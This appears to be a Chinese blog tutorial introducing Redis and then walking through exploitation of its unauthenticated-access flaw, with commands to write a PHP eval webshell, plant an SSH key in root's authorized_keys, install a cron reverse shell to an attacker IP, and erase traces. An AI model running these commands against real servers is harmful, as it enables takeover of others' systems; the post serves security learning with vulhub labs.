当前位置: 首页 > news >正文

Redis总结,是什么,干什么,怎么利用?

Redis(Remote Dictionary Server)是一个开源的内存数据库,遵守 BSD 协议,它提供了一个高性能的键值(key-value)存储系统,常用于缓存、消息队列、会话存储等应用场景

Redis主要特性

(1)数据结构支持

  • String(字符串):最基本的键值对类型,支持存储字符串、整数、浮点数等数据,适合计数器、缓存等用途。
  • List(列表):有序集合,可以用作队列、栈,适合消息队列、任务调度等场景。
  • Set(集合):无序集合,支持交集、并集等操作,适合标签管理、集合运算等。
  • Sorted Set(有序集合):带权重的有序集合,适合排名系统、排行榜等功能。
  • Hash(哈希表):键值对的集合,适合存储对象的多个字段信息。
  • Stream(流):支持记录插入和查询操作,适合日志系统、实时数据处理。
  • Bitmap(位图):处理二进制数据,如签到系统、用户行为分析。
  • HyperLogLog:近似计数算法,用于高效估算唯一元素数量,适合统计UV等。
  • Geo:地理空间索引,可以存储地理坐标并执行距离计算,适合地图服务。

(2)持久化

    Redis虽然是内存数据库,但它提供了持久化机制来确保数据不会因服务器重启而丢失

  • RDB(Redis DataBase):定期生成快照,将数据保存到磁盘中。
  • AOF(Append-Only File):每次写操作都会追加到文件中,恢复时重放这些操作日志,保证数据完整性。

(3)高可用和分布式

  • 主从复制:Redis支持主从复制,主节点处理写操作,从节点同步数据,提供负载均衡和故障转移能力。
  • Redis Sentinel:监控主从结构中的节点,自动处理故障转移,保障高可用性。
  • Redis Cluster:实现数据分片,将数据分布到多个节点上,支持水平扩展,适合大规模数据存储场景。

(4)安全性

Redis通过简单的密码验证机制保护数据,同时可以绑定IP地址以限制访问权限。在生产环境中,推荐启用TLS加密通信。

Redis漏洞

(1)漏洞描述

Redis未授权访问漏洞是指由于Redis配置不当,导致其未设置访问控制或认证机制,从而使攻击者可以通过远程或本地网络未授权访问Redis数据库,并执行任意命令。这类漏洞存在时,攻击者可以利用Redis的特性,窃取或篡改数据,甚至控制系统

Redis默认情况下没有开启认证机制,且通常运行在默认端口6379上。如果Redis实例暴露在公网且未采取访问限制,任何人都可以直接通过网络连接到Redis服务器,并执行包括读取、修改数据,或运行恶意代码等操作。

造成Redis未授权访问漏洞的主要原因包括:

  1. 没有配置认证密码:Redis默认不需要密码验证,攻击者可以直接连接并执行命令。
  2. 暴露在公网:Redis实例暴露在公网,没有设置访问控制策略,任何人都可以通过网络访问。
  3. 没有限制IP访问:Redis没有设置仅允许可信IP访问的策略,导致外部不可信网络也能连接到Redis。

影响范围:Redis<=5.0.5

Redis基本常用命令:

启动命令:(如果有出现乱码,就在后面加上  -raw  就可以避免乱码了)

$ redis-cli

在远程服务上执行命令:

$ redis-cli -h host -p port -a password

下面实例:(连接到主机为 127.0.0.1,端口为 6379 ,密码为 mypass 的 redis 服务上)

$redis-cli -h 127.0.0.1 -p 6379 -a "mypass"
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PINGPONG

 (2)环境搭建

可在vulhub上搭建靶场资源,里面还有很多靶场漏洞联系

(3)漏洞利用

  • 扫描开放的Redis服务:攻击者通过扫描工具发现开放的Redis服务,通常是暴露在公网的端口6379。
  • nmap -sV -p 6379 -script redis-info <ip>
    

  • 连接Redis:利用未授权访问,攻击者可以直接通过命令行或脚本连接Redis。
  • redis-cli -h <ip>
    

  • 执行恶意操作:攻击者可以执行多种恶意操作,如读取、修改数据,甚至上传恶意代码到目标服务器。
  • info  #查看redis的信息和服务器信息
    flushall 删除所有数据
    del key  删除键为key的数据
    get key  获得参数key的数据
    

    利用Redis写入webshell(利用前提是连接成功且keys*未启用认证)

连接成功后输入以下指令

config set dir /var/www/html
config set dbfilename redis.php
set webshell "<?php eval($_POST[cmd]); ?>"或者set x "\r\n\r\n<?php eval($_POST[cmd]); ?>\r\n\r\n"
save

蚁剑连接

(4)获取root权限

在Redis未授权访问漏洞中,如果Redis以root身份运行,攻击者可以通过向目标服务器的/root/.ssh/authorized_keys文件写入攻击者的SSH公钥,获得目标系统的root权限

①  在攻击者的机器上生成SSH密钥对,公钥将被写入目标机器中,从而通过SSH登录目标机器

# 在攻击者机器上生成SSH公钥和私钥
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa# 生成的公钥内容位于 ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa.pub

记下生成的公钥内容,这个公钥将被写入目标Redis服务器的/root/.ssh/authorized_keys文件。

②连接Redis并写入公匙

利用未授权访问漏洞,连接到目标服务器的Redis,并将公钥写入/root/.ssh/authorized_keys文件。

# 连接到目标Redis服务器
redis-cli -h <ip> -p 6379# 创建/root/.ssh目录
redis-cli -h <ip> -p 6379
127.0.0.1:6379> CONFIG SET dir /root/.ssh# 设置文件名为authorized_keys
127.0.0.1:6379> CONFIG SET dbfilename "authorized_keys"# 将攻击者的公钥写入到authorized_keys
127.0.0.1:6379> SET public_key "<攻击者的公钥内容>"# 将内容写入磁盘
127.0.0.1:6379> SAVE

③通过ssh登录目标服务器

此时攻击者的公钥已经成功写入目标服务器的/root/.ssh/authorized_keys文件。攻击者可以通过SSH免密登录目标服务器,直接获取root权限。

# 使用私钥登录靶机(目标服务器)
ssh -i ~/.ssh/id_rsa root@<ip>

④验证是否获取到root权限

whoami
# 如果输出为root,则表明成功获取root权限

利用Redis未授权漏洞获取root权限后,攻击者还可以进一步通过写入反弹Shell(Reverse Shell)来获得持久化的远程控制权限

(4)写入反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行

①先进行端口的监听

# 在攻击者机器上监听某个端口(例如4444)
nc -lvnp 4444

②利用Redis写入脚本

修改Redis配置目录

将Redis的工作目录修改为系统的/var/spool/cron/crontabs目录,该目录存放定时任务(cron jobs)。

# 连接到目标Redis服务器
redis-cli -h <ip> -p 6379# 设置Redis工作目录为crontabs目录
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/crontabs# 将定时任务写入到root用户的cron任务中
127.0.0.1:6379> CONFIG SET dbfilename root

③设置定时任务

# 写入反弹Shell命令,每分钟执行一次
127.0.0.1:6379> SET shell "\n* * * * * bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1\n"# 保存定时任务
127.0.0.1:6379> SAVE

④目标服务器反向连接

此时,目标服务器会通过反弹Shell向攻击者的机器发起连接。如果攻击者的监听器已经启动,便可以在攻击者机器上接收到反弹的Shell,从而获得目标服务器的命令执行权限。

在攻击者机器上,等待连接:

nc lvnp 4444

(5)清除痕迹

删除在cron中写入的反弹Shell命令。

# 删除cron任务
127.0.0.1:6379> DEL shell# 删除相关的cron文件
127.0.0.1:6379> CONFIG SET dbfilename root
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/crontabs
127.0.0.1:6379> FLUSHALL

后面的相关实验我在补充上,这里为理论,相关参考

Redis漏洞利用总结-CSDN博客

【Redis】Redis是什么、能干什么、主要功能和工作原理的详细讲解_redis是干嘛的-CSDN博客

相关文章:

Redis总结,是什么,干什么,怎么利用?

Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源的内存数据库&#xff0c;遵守 BSD 协议&#xff0c;它提供了一个高性能的键值&#xff08;key-value&#xff09;存储系统&#xff0c;常用于缓存、消息队列、会话存储等应用场景 Redis主要特性 &#xff08…...

Vue3状态管理Pinia

Vue3 的 Pinia 使用指南 Pinia 是 Vue3 中官方推荐的状态管理库&#xff0c;作为 Vuex 的替代品&#xff0c;它更简洁易用&#xff0c;并且支持模块化、类型推断和 DevTools 集成。Pinia 非常适合在 Vue3 项目中管理全局状态。 1. 安装 Pinia 首先&#xff0c;我们需要在 Vu…...

box64 安装

ARM运行x86程序 docker安装 box64 安装方法 docker run --name a001 -itd --networkhost -v /www/wwwroot/docker/Box64/f:/f ubuntu:22.04 /bin/bash docker exec -it a001 bash cd /home //创建目录qq547176052 mkdir -p qq547176052 cd /home/qq547176052 apt update apt …...

OpenCV通过鼠标提前ROI(C++实现)

文章目录 鼠标绘制矩形提取ROI任意形状绘制提前ROI 废话不多说&#xff0c;直接上代码 鼠标绘制矩形提取ROI #include <iostream> #include <opencv2\opencv.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2/core/core.hpp>us…...

6.1.数据结构-c/c++模拟实现堆上篇(向下,上调整算法,建堆,增删数据)

目录 一.堆(Heap)的基本介绍 二.堆的常用操作&#xff08;以小根堆为例&#xff09; 三.实现代码 3.1 堆结构定义 3.2 向下调整算法* 3.3 初始化堆* 3.4 销毁堆 3.4 向上调整算法* 3.5 插入数据 3.6 删除数据 3.7 返回堆顶数据 四.下篇内容 1.堆排序 2.TopK问题 一…...

【智能终端】HBuilder X 与微信开发者工具集成与调试实战

目录 1. 需求和理解库、框架、平台 1.1 需求 1.2 理解 2.3 库、框架、平台 2.3.1 库&#xff08;Library&#xff09; 2.3.2 框架&#xff08;Framework&#xff09; 2.3.3 平台&#xff08;Platform&#xff09; 2.3.4 总结 2. 使用 HBuilder X 创建第一个 uni-app 应…...

结构体的字节对齐方式(__attribute_pack(packed))#pragma pack())

结构体的字节对齐方式&#xff08;__attribute_pack(packed))&#pragma pack()) 1、编译器的字节对齐方式 当前编译器都有默认的字节对齐方式&#xff0c; struct PackedStruct {char a;int b;short c; };如上代码段中的结构体&#xff0c;在编译运行后发现他的大小并不…...

若依Ruoyi之智能售货机运营管理系统(新增运营运维工单管理)

idea抽取独立方法快捷键&#xff1a;ctrlaltm TaskDto.java package com.dkd.manage.service.impl;import java.time.Duration; import java.util.List; import java.util.stream.Collectors;import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.collection.CollUti…...

ModuleNotFoundError: No module named ‘keras.layers.core‘怎么解决

问题 ModuleNotFoundError: No module named keras.layers.core&#xff0c;如图所示&#xff1a; 如何解决 将from keras.layers.core import Dense,Activation改为from tensorflow.keras.layers import Dense,Activation&#xff0c;如图所示&#xff1a; 顺利运行&#xf…...

C++(三)----内存管理

1.C/C内存分布 看下面这个问题&#xff08;考考你们之前学的咋样&#xff09;&#xff1a; int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVar 1;int localVar 1;int num1[10] {1, 2, 3, 4};char char2[] "abcd";char* pCh…...

使用 ShuffleNet 模型在 CIFAR-100 数据集上的图像分类

简介 在深度学习领域&#xff0c;图像分类任务是衡量算法性能的重要基准。本文将介绍我们如何使用一种高效的卷积神经网络架构——ShuffleNet&#xff0c;来处理 CIFAR-100 数据集上的图像分类问题。 CIFAR-100 数据集简介 CIFAR-100 数据集是一个广泛使用的图像分类数据集&…...

怎么利用短信接口发送文字短信

在当今这个快节奏的数字时代&#xff0c;即时通讯已成为人们日常生活和工作中不可或缺的一部分。而短信接口&#xff08;SMS Interface&#xff09;&#xff0c;作为传统与现代通讯技术结合的典范&#xff0c;凭借其高效、稳定、广泛覆盖的特性&#xff0c;在众多领域发挥着不可…...

【C#生态园】提升C#开发效率:掌握这六款单元测试利器

从xUnit到SpecFlow&#xff1a;C#测试驱动开发全指南 前言 在C#开发中&#xff0c;单元测试和模拟框架是至关重要的工具&#xff0c;它们可以帮助开发人员确保代码的质量和可靠性。本文将介绍一些常用的C#单元测试框架和相关库&#xff0c;包括xUnit、NUnit、Moq、FluentAsse…...

【QT】自制一个简单的小闹钟,能够实现语音播报功能

做了一个自制的小闹钟&#xff0c;能够自己输入时间&#xff0c;以及对应的闹铃&#xff0c;时间到了自动播放设定的闹铃&#xff0c;可以随时取消重新设定&#xff0c;采用分文件编译 注意&#xff1a;需要在.pro文件中加入&#xff1a;QT core gui texttospeech 代码…...

基于深度学习的图像描述生成

基于深度学习的图像描述生成&#xff08;Image Captioning&#xff09;是一种将计算机视觉与自然语言处理结合的任务&#xff0c;其目标是通过自动生成自然语言来描述输入的图像。该技术能够理解图像中的视觉内容&#xff0c;并生成相应的文本描述&#xff0c;广泛应用于视觉问…...

Linux和C语言(Day11)

一、学习内容 讲解有参函数 形参 和 实参 形参——定义时的参数&#xff0c;形式上的参数&#xff0c;没有实际意义&#xff0c;语法上必须带有数据类型 void fun(int a,int b); void fun(int a[],int n); void fun(char *s); 可以是&#xff1a;变量、数组、指针 实参——调用…...

使用Zlib库进行多文件或者多文件夹的压缩解压缩

zlib库可在git上自己clone下来然后使用cmake工具生成解决方案&#xff0c;编译、生成zlib二进制文件。然后将zlib库引入项目&#xff1a; //zlib库支持 #include "../zlib/include/zlib.h" #ifdef _DEBUG #pragma comment(lib, "../zlib/lib/zlibd.lib") …...

CSGHub携手Nvidia NIM、阿里计算巢打造企业级私有化部署解决方案

强强联合 人工智能与大数据的迅速发展&#xff0c;大模型的推理应用和资产管理已成为企业数字化转型的重要组成部分&#xff0c;企业正寻求高效、安全的AI模型部署解决方案。为应对日益增长的计算需求和复杂的数据管理挑战&#xff0c;CSGHub、Nvidia和阿里云计算巢强强联手&a…...

opencv的球面投影

cv::detail::SphericalProjector 在全景图像拼接任务中&#xff0c;可能需要对多个图像进行球面投影以实现无缝拼接。每个cv::detail::SphericalProjector可以负责一个图像的球面投影操作。通过将多个这样的投影器存储在std::vector中&#xff0c;可以对一组图像依次进行投影处…...

5. 去中心化应用(dApp)

去中心化应用&#xff08;dApp&#xff09; 去中心化应用&#xff08;dApp&#xff09;是基于区块链技术构建的应用程序&#xff0c;其核心特性是去中心化、透明和开放。dApp与传统应用有许多显著的区别&#xff0c;它们在实现和功能上都带来了新的变革。以下是对dApp的详细介…...

Spring Boot面试题精选汇总

&#x1f91f;致敬读者 &#x1f7e9;感谢阅读&#x1f7e6;笑口常开&#x1f7ea;生日快乐⬛早点睡觉 &#x1f4d8;博主相关 &#x1f7e7;博主信息&#x1f7e8;博客首页&#x1f7eb;专栏推荐&#x1f7e5;活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)

🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...

嵌入式学习笔记DAY33(网络编程——TCP)

一、网络架构 C/S &#xff08;client/server 客户端/服务器&#xff09;&#xff1a;由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序&#xff0c;负责提供用户界面和交互逻辑 &#xff0c;接收用户输入&#xff0c;向服务器发送请求&#xff0c;并展示服务…...

FFmpeg:Windows系统小白安装及其使用

一、安装 1.访问官网 Download FFmpeg 2.点击版本目录 3.选择版本点击安装 注意这里选择的是【release buids】&#xff0c;注意左上角标题 例如我安装在目录 F:\FFmpeg 4.解压 5.添加环境变量 把你解压后的bin目录&#xff08;即exe所在文件夹&#xff09;加入系统变量…...

【无标题】湖北理元理律师事务所:债务优化中的生活保障与法律平衡之道

文/法律实务观察组 在债务重组领域&#xff0c;专业机构的核心价值不仅在于减轻债务数字&#xff0c;更在于帮助债务人在履行义务的同时维持基本生活尊严。湖北理元理律师事务所的服务实践表明&#xff0c;合法债务优化需同步实现三重平衡&#xff1a; 法律刚性&#xff08;债…...

【安全篇】金刚不坏之身:整合 Spring Security + JWT 实现无状态认证与授权

摘要 本文是《Spring Boot 实战派》系列的第四篇。我们将直面所有 Web 应用都无法回避的核心问题&#xff1a;安全。文章将详细阐述认证&#xff08;Authentication) 与授权&#xff08;Authorization的核心概念&#xff0c;对比传统 Session-Cookie 与现代 JWT&#xff08;JS…...

算术操作符与类型转换:从基础到精通

目录 前言&#xff1a;从基础到实践——探索运算符与类型转换的奥秘 算术操作符超级详解 算术操作符&#xff1a;、-、*、/、% 赋值操作符&#xff1a;和复合赋值 单⽬操作符&#xff1a;、--、、- 前言&#xff1a;从基础到实践——探索运算符与类型转换的奥秘 在先前的文…...

React父子组件通信:Props怎么用?如何从父组件向子组件传递数据?

系列回顾&#xff1a; 在上一篇《React核心概念&#xff1a;State是什么&#xff1f;》中&#xff0c;我们学习了如何使用useState让一个组件拥有自己的内部数据&#xff08;State&#xff09;&#xff0c;并通过一个计数器案例&#xff0c;实现了组件的自我更新。这很棒&#…...

嵌入式面试常问问题

以下内容面向嵌入式/系统方向的初学者与面试备考者,全面梳理了以下几大板块,并在每个板块末尾列出常见的面试问答思路,帮助你既能夯实基础,又能应对面试挑战。 一、TCP/IP 协议 1.1 TCP/IP 五层模型概述 链路层(Link Layer) 包括网卡驱动、以太网、Wi‑Fi、PPP 等。负责…...

Win系统权限提升篇UAC绕过DLL劫持未引号路径可控服务全检项目

应用场景&#xff1a; 1、常规某个机器被钓鱼后门攻击后&#xff0c;我们需要做更高权限操作或权限维持等。 2、内网域中某个机器被钓鱼后门攻击后&#xff0c;我们需要对后续内网域做安全测试。 #Win10&11-BypassUAC自动提权-MSF&UACME 为了远程执行目标的exe或者b…...